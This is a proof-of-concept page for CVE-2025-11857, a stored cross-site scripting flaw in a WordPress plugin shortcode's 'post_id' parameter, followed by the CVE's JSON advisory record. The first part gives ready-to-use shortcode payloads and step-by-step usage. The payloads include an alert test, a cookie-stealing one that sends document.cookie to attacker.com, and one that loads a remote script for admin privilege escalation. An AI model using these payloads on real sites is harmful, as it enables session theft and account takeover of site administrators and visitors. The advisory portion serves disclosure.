CVE-2025-11857

<!-- PoC for CVE-2025-11857 Stored XSS via mxp_fb2wp_display_embed shortcode 'post_id' parameter Requires contributor-level WordPress access --> <!-- Malicious shortcode to inject into a WordPress post/page content --> [mxp_fb2wp_display_embed post_id=""><script>alert('XSS_CVE-2025-11857')</script>"] <!-- Alternative payload for cookie stealing --> [mxp_fb2wp_display_embed post_id="1"><img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>"] <!-- Alternative payload for admin privilege escalation --> [mxp_fb2wp_display_embed post_id="1" onmouseover="var s=document.createElement('script');s.src='https://attacker.com/admin.js';document.body.appendChild(s);"] <!-- Usage Steps: 1. Login to WordPress as a contributor or higher 2. Create a new post or edit existing one 3. Insert the malicious shortcode in the content area 4. Submit for review (or publish if allowed) 5. When any user (especially admin) views the post, the XSS payload executes -->

{"cve": {"id": "CVE-2025-11857", "sourceIdentifier": "[email protected]", "published": "2025-10-18T06:15:38.720", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The XX2WP Integration Tools plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'mxp_fb2wp_display_embed' shortcode in all versions up to, and including, 1.9.9. This is due to the plugin not properly sanitizing user input and output of the 'post_id' parameter. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/fb2wp-integration-tools/tags/1.9.9/index.php#L302", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3379625%40fb2wp-integration-tools&new=3379625%40fb2wp-integration-tools&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5cbb28e2-a7a1-4e33-93e5-872d6f2e00ec?source=cve", "source": "[email protected]"}]}}